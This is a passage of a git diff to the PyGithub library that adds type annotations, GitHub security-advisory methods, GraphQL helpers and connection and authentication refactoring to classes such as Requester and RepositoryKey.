severity_or_cvss_vector_string, str + ), severity_or_cvss_vector_string + assert cve_id is NotSet or isinstance(cve_id, str), cve_id + assert vulnerabilities is NotSet or isinstance(vulnerabilities, Iterable), vulnerabilities + if isinstance(vulnerabilities, Iterable): + for vulnerability in vulnerabilities: + github.AdvisoryVulnerability.AdvisoryVulnerability._validate_vulnerability(vulnerability) + assert cwe_ids is NotSet or ( + isinstance(cwe_ids, Iterable) and all(isinstance(element, str) for element in cwe_ids) + ), cwe_ids + if isinstance(credits, Iterable): + for credit in credits: + github.AdvisoryCredit.AdvisoryCredit._validate_credit(credit) + assert state is NotSet or isinstance(state, str), state + patch_parameters: dict[str, Any] = {} + if summary is not NotSet: + patch_parameters["summary"] = summary + if description is not NotSet: + patch_parameters["description"] = description + if isinstance(severity_or_cvss_vector_string, str): + if severity_or_cvss_vector_string.startswith("CVSS:"): + patch_parameters["cvss_vector_string"] = severity_or_cvss_vector_string + else: + patch_parameters["severity"] = severity_or_cvss_vector_string + if cve_id is not NotSet: + patch_parameters["cve_id"] = cve_id + if isinstance(vulnerabilities, Iterable): + patch_parameters["vulnerabilities"] = [ + github.AdvisoryVulnerability.AdvisoryVulnerability._to_github_dict(vulnerability) + for vulnerability in vulnerabilities + ] + if isinstance(cwe_ids, Iterable): + patch_parameters["cwe_ids"] = list(cwe_ids) + if isinstance(credits, Iterable): + patch_parameters["credits"] = [ + github.AdvisoryCredit.AdvisoryCredit._to_github_dict(credit) for credit in credits + ] + if state is not NotSet: + patch_parameters["state"] = state + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + return self + + def accept_report(self) -> None: + """ + Accepts the advisory reported from an external reporter via private vulnerability reporting. + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + """ + patch_parameters = {"state": "draft"} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def publish(self) -> None: + """ + Publishes the advisory. + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + """ + patch_parameters = {"state": "published"} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def request_cve(self) -> None: + """ + Requests a CVE for the advisory. + :calls: `POST /repos/{owner}/{repo}/security-advisories/{ghsa_id}/cve `_ + """ + self._requester.requestJsonAndCheck( + "POST", + self.url + "/cve", + ) + + def close(self) -> None: + """ + Closes the advisory. + :calls: `PATCH /repos/{owner}/{repo}/security-advisories/:advisory_id ` + """ + patch_parameters = {"state": "closed"} + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + self.url, + input=patch_parameters, + ) + self._useAttributes(data) + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "author" in attributes: # pragma no branch + self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) + if "closed_at" in attributes: # pragma no branch + assert attributes["closed_at"] is None or isinstance(attributes["closed_at"], str), attributes["closed_at"] + self._closed_at = self._makeDatetimeAttribute(attributes["closed_at"]) + if "created_at" in attributes: # pragma no branch + assert attributes["created_at"] is None or isinstance(attributes["created_at"], str), attributes[ + "created_at" + ] + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "credits" in attributes: # pragma no branch + self._credits = self._makeListOfClassesAttribute( + AdvisoryCredit, + attributes["credits"], + ) + if "credits_detailed" in attributes: # pragma no branch + self._credits_detailed = self._makeListOfClassesAttribute( + AdvisoryCreditDetailed, + attributes["credits_detailed"], + ) + if "cwe_ids" in attributes: # pragma no branch + self._cwe_ids = self._makeListOfStringsAttribute(attributes["cwe_ids"]) + if "state" in attributes: # pragma no branch + self._state = self._makeStringAttribute(attributes["state"]) + if "vulnerabilities" in attributes: + self._vulnerabilities = self._makeListOfClassesAttribute( + github.AdvisoryVulnerability.AdvisoryVulnerability, + attributes["vulnerabilities"], + ) + super()._useAttributes(attributes) diff --git a/github/RepositoryKey.py b/github/RepositoryKey.py index 7c3dce5a24..4156c2a740 100644 --- a/github/RepositoryKey.py +++ b/github/RepositoryKey.py @@ -14,6 +14,14 @@ # Copyright 2018 Laurent Raufaste # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Floyd Hightower # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,90 +41,71 @@ # # ################################################################################ -import github.GithubObject +from datetime import datetime +from typing import Any, Dict +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class RepositoryKey(github.GithubObject.CompletableGithubObject): + +class RepositoryKey(CompletableGithubObject): """ This class represents RepositoryKeys. The reference can be found here https://docs.github.com/en/rest/reference/repos#deploy-keys """ - def __repr__(self): + def _initAttributes(self) -> None: + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._key: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._verified: Attribute[bool] = NotSet + self._read_only: Attribute[bool] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "title": self._title.value}) @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def key(self): - """ - :type: string - """ + def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def verified(self): - """ - :type: bool - """ + def verified(self) -> bool: self._completeIfNotSet(self._verified) return self._verified.value @property - def read_only(self): - """ - :type: bool - """ + def read_only(self) -> bool: self._completeIfNotSet(self._read_only) return self._read_only.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/keys/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def _initAttributes(self): - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._key = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._verified = github.GithubObject.NotSet - self._read_only = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch diff --git a/github/RepositoryKey.pyi b/github/RepositoryKey.pyi deleted file mode 100644 index 44a942b6d3..0000000000 --- a/github/RepositoryKey.pyi +++ /dev/null @@ -1,24 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject - -class RepositoryKey(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - @property - def id(self) -> int: ... - @property - def key(self) -> str: ... - @property - def read_only(self) -> bool: ... - @property - def title(self) -> str: ... - @property - def url(self) -> str: ... - @property - def verified(self) -> bool: ... diff --git a/github/RepositoryPreferences.py b/github/RepositoryPreferences.py index 467264e0d1..6f89ecad9e 100644 --- a/github/RepositoryPreferences.py +++ b/github/RepositoryPreferences.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,38 +35,37 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.Repository +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.Repository import Repository -class RepositoryPreferences(github.GithubObject.NonCompletableGithubObject): +class RepositoryPreferences(NonCompletableGithubObject): """ This class represents repository preferences. The reference can be found here https://docs.github.com/en/free-pro-team@latest/rest/reference/checks#update-repository-preferences-for-check-suites """ + def _initAttributes(self) -> None: + self._preferences: Attribute[dict[str, list[dict[str, bool | int]]]] = NotSet + self._repository: Attribute[Repository] = NotSet + @property - def preferences(self): - """ - :type: dict - """ + def preferences(self) -> dict[str, list[dict[str, bool | int]]]: return self._preferences.value @property - def repository(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repository(self) -> Repository: return self._repository.value - def _initAttributes(self): - self._preferences = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "preferences" in attributes: # pragma no branch self._preferences = self._makeDictAttribute(attributes["preferences"]) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) diff --git a/github/RepositoryPreferences.pyi b/github/RepositoryPreferences.pyi deleted file mode 100644 index f405734cb7..0000000000 --- a/github/RepositoryPreferences.pyi +++ /dev/null @@ -1,12 +0,0 @@ -from typing import Any, Dict, List, Union - -from github.GithubObject import NonCompletableGithubObject -from github.Repository import Repository - -class RepositoryPreferences(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def preferences(self) -> Dict[str, List[Dict[str, Union[bool, int]]]]: ... - @property - def repository(self) -> Repository: ... diff --git a/github/Requester.py b/github/Requester.py index 042e130729..ccff91ea6e 100644 --- a/github/Requester.py +++ b/github/Requester.py @@ -17,20 +17,42 @@ # Copyright 2014 Vincent Jacques # # Copyright 2015 Brian Eugley # # Copyright 2015 Daniel Pocock # -# Copyright 2015 Jimmy Zelinskie # # Copyright 2016 Denis K # # Copyright 2016 Jared K. Smith # -# Copyright 2016 Jimmy Zelinskie # # Copyright 2016 Mathieu Mitchell # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Hugo # # Copyright 2017 Simon # +# Copyright 2018 Arda Kuyumcu # # Copyright 2018 Dylan # # Copyright 2018 Maarten Fonville # # Copyright 2018 Mike Miller # # Copyright 2018 R1kk3r # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # +# Copyright 2018 Tuuu Nya # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Isac Souza # +# Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Jesse Li # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Amador Pahim # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Liuyang Wan # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Heitor Polidoro # +# Copyright 2023 Hemslo Wang # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Phillip Tran # +# Copyright 2023 Trim21 # +# Copyright 2023 adosibalo <94008816+adosibalo@users.noreply.github.com> # +# Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -50,20 +72,50 @@ # # ################################################################################ -import base64 -import datetime +import io import json import logging import mimetypes import os import re +import threading import time import urllib +import urllib.parse +from collections import deque +from datetime import datetime, timezone from io import IOBase +from typing import ( + TYPE_CHECKING, + Any, + BinaryIO, + Callable, + Deque, + Dict, + Generic, + ItemsView, + List, + Optional, + Tuple, + Type, + TypeVar, + Union, +) import requests +import requests.adapters +from urllib3 import Retry -from . import Consts, GithubException, GithubIntegration +import github.Consts as Consts +import github.GithubException as GithubException + +if TYPE_CHECKING: + from .AppAuthentication import AppAuthentication + from .Auth import Auth + from .GithubObject import GithubObject + from .InstallationAuthorization import InstallationAuthorization + +T = TypeVar("T") # For App authentication, time remaining before token expiration to request a new one ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS = 20 @@ -71,36 +123,42 @@ class RequestsResponse: # mimic the httplib response object - def __init__(self, r): + def __init__(self, r: requests.Response): self.status = r.status_code self.headers = r.headers self.text = r.text - def getheaders(self): + def getheaders(self) -> ItemsView[str, str]: return self.headers.items() - def read(self): + def read(self) -> str: return self.text class HTTPSRequestsConnectionClass: + retry: Union[int, Retry] + # mimic the httplib connection object def __init__( self, - host, - port=None, - strict=False, - timeout=None, - retry=None, - pool_size=None, - **kwargs, - ): + host: str, + port: Optional[int] = None, + strict: bool = False, + timeout: Optional[int] = None, + retry: Optional[Union[int, Retry]] = None, + pool_size: Optional[int] = None, + **kwargs: Any, + ) -> None: self.port = port if port else 443 self.host = host self.protocol = "https" self.timeout = timeout self.verify = kwargs.get("verify", True) self.session = requests.Session() + # having Session.auth set something other than None disables falling back to .netrc file + # https://github.com/psf/requests/blob/d63e94f552ebf77ccf45d97e5863ac46500fa2c7/src/requests/sessions.py#L480-L481 + # see https://github.com/PyGithub/PyGithub/pull/2703 + self.session.auth = Requester.noopAuth if retry is None: self.retry = requests.adapters.DEFAULT_RETRIES @@ -119,13 +177,19 @@ def __init__( ) self.session.mount("https://", self.adapter) - def request(self, verb, url, input, headers): + def request( + self, + verb: str, + url: str, + input: Optional[Union[str, io.BufferedReader]], + headers: Dict[str, str], + ) -> None: self.verb = verb self.url = url self.input = input self.headers = headers - def getresponse(self): + def getresponse(self) -> RequestsResponse: verb = getattr(self.session, self.verb.lower()) url = f"{self.protocol}://{self.host}:{self.port}{self.url}" r = verb( @@ -138,21 +202,21 @@ def getresponse(self): ) return RequestsResponse(r) - def close(self): - return + def close(self) -> None: + self.session.close() class HTTPRequestsConnectionClass: # mimic the httplib connection object def __init__( self, - host, - port=None, - strict=False, - timeout=None, - retry=None, - pool_size=None, - **kwargs, + host: str, + port: Optional[int] = None, + strict: bool = False, + timeout: Optional[int] = None, + retry: Optional[Union[int, Retry]] = None, + pool_size: Optional[int] = None, + **kwargs: Any, ): self.port = port if port else 80 self.host = host @@ -160,11 +224,15 @@ def __init__( self.timeout = timeout self.verify = kwargs.get("verify", True) self.session = requests.Session() + # having Session.auth set something other than None disables falling back to .netrc file + # https://github.com/psf/requests/blob/d63e94f552ebf77ccf45d97e5863ac46500fa2c7/src/requests/sessions.py#L480-L481 + # see https://github.com/PyGithub/PyGithub/pull/2703 + self.session.auth = Requester.noopAuth if retry is None: self.retry = requests.adapters.DEFAULT_RETRIES else: - self.retry = retry + self.retry = retry # type: ignore if pool_size is None: self.pool_size = requests.adapters.DEFAULT_POOLSIZE @@ -178,13 +246,13 @@ def __init__( ) self.session.mount("http://", self.adapter) - def request(self, verb, url, input, headers): + def request(self, verb: str, url: str, input: None, headers: Dict[str, str]) -> None: self.verb = verb self.url = url self.input = input self.headers = headers - def getresponse(self): + def getresponse(self) -> RequestsResponse: verb = getattr(self.session, self.verb.lower()) url = f"{self.protocol}://{self.host}:{self.port}{self.url}" r = verb( @@ -197,45 +265,57 @@ def getresponse(self): ) return RequestsResponse(r) - def close(self): - return + def close(self) -> None: + self.session.close() class Requester: + __installation_authorization: Optional["InstallationAuthorization"] + __app_auth: Optional["AppAuthentication"] + __httpConnectionClass = HTTPRequestsConnectionClass __httpsConnectionClass = HTTPSRequestsConnectionClass - __connection = None __persist = True - __logger = None + __logger: Optional[logging.Logger] = None + + _frameBuffer: List[Any] + + @staticmethod + def noopAuth(request: requests.models.PreparedRequest) -> requests.models.PreparedRequest: + return request @classmethod - def injectConnectionClasses(cls, httpConnectionClass, httpsConnectionClass): + def injectConnectionClasses( + cls, + httpConnectionClass: Type[HTTPRequestsConnectionClass], + httpsConnectionClass: Type[HTTPSRequestsConnectionClass], + ) -> None: cls.__persist = False cls.__httpConnectionClass = httpConnectionClass cls.__httpsConnectionClass = httpsConnectionClass @classmethod - def resetConnectionClasses(cls): + def resetConnectionClasses(cls) -> None: cls.__persist = True cls.__httpConnectionClass = HTTPRequestsConnectionClass cls.__httpsConnectionClass = HTTPSRequestsConnectionClass @classmethod - def injectLogger(cls, logger): + def injectLogger(cls, logger: logging.Logger) -> None: cls.__logger = logger @classmethod - def resetLogger(cls): + def resetLogger(cls) -> None: cls.__logger = None ############################################################# # For Debug @classmethod - def setDebugFlag(cls, flag): + def setDebugFlag(cls, flag: bool) -> None: cls.DEBUG_FLAG = flag @classmethod - def setOnCheckMe(cls, onCheckMe): + def setOnCheckMe(cls, onCheckMe: Callable) -> None: cls.ON_CHECK_ME = onCheckMe DEBUG_FLAG = False @@ -244,9 +324,9 @@ def setOnCheckMe(cls, onCheckMe): DEBUG_HEADER_KEY = "DEBUG_FRAME" - ON_CHECK_ME = None + ON_CHECK_ME: Optional[Callable] = None - def NEW_DEBUG_FRAME(self, requestHeader): + def NEW_DEBUG_FRAME(self, requestHeader: Dict[str, str]) -> None: """ Initialize a debug frame with requestHeader Frame count is updated and will be attached to respond header @@ -255,16 +335,14 @@ def NEW_DEBUG_FRAME(self, requestHeader): """ if self.DEBUG_FLAG: # pragma no branch (Flag always set in tests) new_frame = [requestHeader, None, None, None] - if ( - self._frameCount < self.DEBUG_FRAME_BUFFER_SIZE - 1 - ): # pragma no branch (Should be covered) + if self._frameCount < self.DEBUG_FRAME_BUFFER_SIZE - 1: # pragma no branch (Should be covered) self._frameBuffer.append(new_frame) else: self._frameBuffer[0] = new_frame # pragma no cover (Should be covered) self._frameCount = len(self._frameBuffer) - 1 - def DEBUG_ON_RESPONSE(self, statusCode, responseHeader, data): + def DEBUG_ON_RESPONSE(self, statusCode: int, responseHeader: Dict[str, Union[str, int]], data: str) -> None: """ Update current frame with response Current frame index will be attached to responseHeader @@ -277,67 +355,58 @@ def DEBUG_ON_RESPONSE(self, statusCode, responseHeader, data): ] responseHeader[self.DEBUG_HEADER_KEY] = self._frameCount - def check_me(self, obj): - if ( - self.DEBUG_FLAG and self.ON_CHECK_ME is not None - ): # pragma no branch (Flag always set in tests) + def check_me(self, obj: "GithubObject") -> None: + if self.DEBUG_FLAG and self.ON_CHECK_ME is not None: # pragma no branch (Flag always set in tests) frame = None if self.DEBUG_HEADER_KEY in obj._headers: frame_index = obj._headers[self.DEBUG_HEADER_KEY] - frame = self._frameBuffer[frame_index] + frame = self._frameBuffer[frame_index] # type: ignore self.ON_CHECK_ME(obj, frame) - def _initializeDebugFeature(self): + def _initializeDebugFeature(self) -> None: self._frameCount = 0 self._frameBuffer = [] ############################################################# + _frameCount: int + __connectionClass: Union[Type[HTTPRequestsConnectionClass], Type[HTTPSRequestsConnectionClass]] + __hostname: str + __authorizationHeader: Optional[str] + __seconds_between_requests: Optional[float] + __seconds_between_writes: Optional[float] + + # keep arguments in-sync with github.MainClass and GithubIntegration def __init__( self, - login_or_token, - password, - jwt, - app_auth, - base_url, - timeout, - user_agent, - per_page, - verify, - retry, - pool_size, + auth: Optional["Auth"], + base_url: str, + timeout: int, + user_agent: str, + per_page: int, + verify: Union[bool, str], + retry: Optional[Union[int, Retry]], + pool_size: Optional[int], + seconds_between_requests: Optional[float] = None, + seconds_between_writes: Optional[float] = None, ): self._initializeDebugFeature() - self.__installation_authorization = None - self.__app_auth = app_auth + self.__auth = auth self.__base_url = base_url - if password is not None: - login = login_or_token - b64 = ( - base64.b64encode((f"{login}:{password}").encode()) - .decode("utf-8") - .replace("\n", "") - ) - self.__authorizationHeader = f"Basic {b64}" - elif login_or_token is not None: - token = login_or_token - self.__authorizationHeader = f"token {token}" - elif jwt is not None: - self.__authorizationHeader = f"Bearer {jwt}" - elif self.__app_auth is not None: - self._refresh_token() - else: - self.__authorizationHeader = None - o = urllib.parse.urlparse(base_url) - self.__hostname = o.hostname + self.__graphql_prefix = self.get_graphql_prefix(o.path) + self.__graphql_url = urllib.parse.urlunparse(o._replace(path=self.__graphql_prefix)) + self.__hostname = o.hostname # type: ignore self.__port = o.port self.__prefix = o.path self.__timeout = timeout self.__retry = retry # NOTE: retry can be either int or an urllib3 Retry object self.__pool_size = pool_size + self.__seconds_between_requests = seconds_between_requests + self.__seconds_between_writes = seconds_between_writes + self.__last_requests: Dict[str, float] = dict() self.__scheme = o.scheme if o.scheme == "https": self.__connectionClass = self.__httpsConnectionClass @@ -345,6 +414,9 @@ def __init__( self.__connectionClass = self.__httpConnectionClass else: assert False, "Unknown URL scheme" + self.__connection: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None + self.__connection_lock = threading.Lock() + self.__custom_connections: Deque[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = deque() self.rate_limiting = (-1, -1) self.rate_limiting_resettime = 0 self.FIX_REPO_GET_GIT_REF = True @@ -359,134 +431,250 @@ def __init__( self.__userAgent = user_agent self.__verify = verify - def _must_refresh_token(self) -> bool: - """Check if it is time to refresh the API token gotten from the GitHub app installation""" - if not self.__installation_authorization: - return False - return ( - self.__installation_authorization.expires_at - < datetime.datetime.utcnow() - + datetime.timedelta(seconds=ACCESS_TOKEN_REFRESH_THRESHOLD_SECONDS) - ) + self.__installation_authorization = None - def _get_installation_authorization(self): - assert self.__app_auth is not None - integration = GithubIntegration.GithubIntegration( - self.__app_auth.app_id, - self.__app_auth.private_key, + # provide auth implementations that require a requester with this requester + if isinstance(self.__auth, WithRequester): + self.__auth.withRequester(self) + + def __getstate__(self) -> Dict[str, Any]: + state = self.__dict__.copy() + # __connection_lock is not picklable + del state["_Requester__connection_lock"] + # __connection is not usable on remote, so ignore it + del state["_Requester__connection"] + # __custom_connections is not usable on remote, so ignore it + del state["_Requester__custom_connections"] + return state + + def __setstate__(self, state: Dict[str, Any]) -> None: + self.__dict__.update(state) + self.__connection_lock = threading.Lock() + self.__connection = None + self.__custom_connections = deque() + + @staticmethod + # replace with str.removesuffix once support for Python 3.7 is dropped + def remove_suffix(string: str, suffix: str) -> str: + if string.endswith(suffix): + return string[: -len(suffix)] + return string + + @staticmethod + def get_graphql_prefix(path: Optional[str]) -> str: + if path is None or path in ["", "/"]: + path = "" + if path.endswith(("/v3", "/v3/")): + path = Requester.remove_suffix(path, "/") + path = Requester.remove_suffix(path, "/v3") + return path + "/graphql" + + def close(self) -> None: + """ + Close the connection to the server. + """ + with self.__connection_lock: + if self.__connection is not None: + self.__connection.close() + self.__connection = None + while self.__custom_connections: + self.__custom_connections.popleft().close() + + @property + def kwargs(self) -> Dict[str, Any]: + """ + Returns arguments required to recreate this Requester with Requester.__init__, as well as + with MainClass.__init__ and GithubIntegration.__init__. + :return: + """ + return dict( + auth=self.__auth, base_url=self.__base_url, - ) - return integration.get_access_token( - self.__app_auth.installation_id, - permissions=self.__app_auth.token_permissions, + timeout=self.__timeout, + user_agent=self.__userAgent, + per_page=self.per_page, + verify=self.__verify, + retry=self.__retry, + pool_size=self.__pool_size, + seconds_between_requests=self.__seconds_between_requests, + seconds_between_writes=self.__seconds_between_writes, ) - def _refresh_token_if_needed(self) -> None: - """Get a new access token from the GitHub app installation if the one we have is about to expire""" - if not self.__installation_authorization: - return - if self._must_refresh_token(): - logging.debug("Refreshing access token") - self._refresh_token() - - def _refresh_token(self) -> None: - """In the context of a GitHub app, refresh the access token""" - self.__installation_authorization = self._get_installation_authorization() - self.__authorizationHeader = f"token {self.__installation_authorization.token}" - - def requestJsonAndCheck(self, verb, url, parameters=None, headers=None, input=None): - return self.__check( - *self.requestJson( - verb, url, parameters, headers, input, self.__customConnection(url) - ) - ) + @property + def base_url(self) -> str: + return self.__base_url - def requestJsonAndCheckGetStatus( - self, verb, url, parameters=None, headers=None, input=None - ): - status, updateHeaders, output = self.requestJson( - verb, url, parameters, headers, input, self.__customConnection(url) - ) - responseHeaders, output = self.__check(status, updateHeaders, output) - return status, responseHeaders, output + @property + def graphql_url(self) -> str: + return self.__graphql_url + + @property + def hostname(self) -> str: + return self.__hostname + + @property + def auth(self) -> Optional["Auth"]: + return self.__auth + + def withAuth(self, auth: Optional["Auth"]) -> "Requester": + """ + Create a new requester instance with identical configuration but the given authentication method. + :param auth: authentication method + :return: new Requester implementation + """ + kwargs = self.kwargs + kwargs.update(auth=auth) + return Requester(**kwargs) + + def requestJsonAndCheck( + self, + verb: str, + url: str, + parameters: Optional[Dict[str, Any]] = None, + headers: Optional[Dict[str, str]] = None, + input: Optional[Any] = None, + ) -> Tuple[Dict[str, Any], Any]: + return self.__check(*self.requestJson(verb, url, parameters, headers, input, self.__customConnection(url))) def requestMultipartAndCheck( - self, verb, url, parameters=None, headers=None, input=None - ): - return self.__check( - *self.requestMultipart( - verb, url, parameters, headers, input, self.__customConnection(url) - ) - ) + self, + verb: str, + url: str, + parameters: Optional[Dict[str, Any]] = None, + headers: Optional[Dict[str, Any]] = None, + input: Optional[Dict[str, str]] = None, + ) -> Tuple[Dict[str, Any], Optional[Dict[str, Any]]]: + return self.__check(*self.requestMultipart(verb, url, parameters, headers, input, self.__customConnection(url))) + + def requestBlobAndCheck( + self, + verb: str, + url: str, + parameters: Optional[Dict[str, str]] = None, + headers: Optional[Dict[str, str]] = None, + input: Optional[str] = None, + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None, + ) -> Tuple[Dict[str, Any], Dict[str, Any]]: + return self.__check(*self.requestBlob(verb, url, parameters, headers, input, self.__customConnection(url))) + + def graphql_query(self, query: str, variables: Dict[str, Any]) -> Tuple[Dict[str, Any], Dict[str, Any]]: + """ + :calls: `POST /graphql `_ + """ + input_ = {"query": query, "variables": {"input": variables}} - def requestBlobAndCheck(self, verb, url, parameters=None, headers=None, input=None): - return self.__check( - *self.requestBlob( - verb, url, parameters, headers, input, self.__customConnection(url) - ) - ) + response_headers, data = self.requestJsonAndCheck("POST", self.graphql_url, input=input_) + if "errors" in data: + raise self.createException(400, response_headers, data) + return response_headers, data - def __check(self, status, responseHeaders, output): - output = self.__structuredFromJson(output) + def graphql_named_mutation( + self, mutation_name: str, variables: Dict[str, Any], output: Optional[str] = None + ) -> Tuple[Dict[str, Any], Dict[str, Any]]: + """ + Create a mutation in the format: + mutation MutationName($input: MutationNameInput!) { + mutationName(input: $input) { + + } + } + and call the self.graphql_query method + """ + title = "".join([x.capitalize() for x in mutation_name.split("_")]) + mutation_name = title[:1].lower() + title[1:] + output = output or "" + query = f"mutation {title}($input: {title}Input!) {{ {mutation_name}(input: $input) {{ {output} }} }}" + + return self.graphql_query(query, variables) + + def __check( + self, + status: int, + responseHeaders: Dict[str, Any], + output: str, + ) -> Tuple[Dict[str, Any], Any]: + data = self.__structuredFromJson(output) if status >= 400: - raise self.__createException(status, responseHeaders, output) - return responseHeaders, output + raise self.createException(status, responseHeaders, data) + return responseHeaders, data - def __customConnection(self, url): - cnx = None + def __customConnection( + self, url: str + ) -> Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]]: + cnx: Optional[Union[HTTPRequestsConnectionClass, HTTPSRequestsConnectionClass]] = None if not url.startswith("/"): o = urllib.parse.urlparse(url) if ( o.hostname != self.__hostname or (o.port and o.port != self.__port) - or ( - o.scheme != self.__scheme - and not (o.scheme == "https" and self.__scheme == "http") - ) + or (o.scheme != self.__scheme and not (o.scheme == "https" and self.__scheme == "http")) ): # issue80 if o.scheme == "http": cnx = self.__httpConnectionClass( - o.hostname, + o.hostname, # type: ignore o.port, retry=self.__retry, pool_size=self.__pool_size, ) + self.__custom_connections.append(cnx) elif o.scheme == "https": cnx = self.__httpsConnectionClass( - o.hostname, + o.hostname, # type: ignore o.port, retry=self.__retry, pool_size=self.__pool_size, ) + self.__custom_connections.append(cnx) return cnx - def __createException(self, status, headers, output): - if status == 401 and output.get("message") == "Bad credentials": - cls = GithubException.BadCredentialsException - elif ( - status == 401 - and Consts.headerOTP in headers - and re.match(r".*required.*", headers[Consts.headerOTP]) - ): - cls = GithubException.TwoFactorException - elif status == 403 and output.get("message").startswith( - "Missing or invalid User Agent string" - ): - cls = GithubException.BadUserAgentException - elif status == 403 and ( - output.get("message").lower().startswith("api rate limit exceeded") - or output.get("message") - .lower() - .endswith("please wait a few minutes before you try again.") - ): - cls = GithubException.RateLimitExceededException - elif status == 404 and output.get("message") == "Not Found": - cls = GithubException.UnknownObjectException - else: - cls = GithubException.GithubException - return cls(status, output, headers) + @classmethod + def createException( + cls, + status: int, + headers: Dict[str, Any], + output: Dict[str, Any], + ) -> GithubException.GithubException: + message = output.get("message", "").lower() if output is not None else "" + + exc = GithubException.GithubException + if status == 401 and message == "bad credentials": + exc = GithubException.BadCredentialsException + elif status == 401 and Consts.headerOTP in headers and re.match(r".*required.*", headers[Consts.headerOTP]): + exc = GithubException.TwoFactorException + elif status == 403 and message.startswith("missing or invalid user agent string"): + exc = GithubException.BadUserAgentException + elif status == 403 and cls.isRateLimitError(message): + exc = GithubException.RateLimitExceededException + elif status == 404 and message == "not found": + exc = GithubException.UnknownObjectException + + return exc(status, output, headers) + + @classmethod + def isRateLimitError(cls, message: str) -> bool: 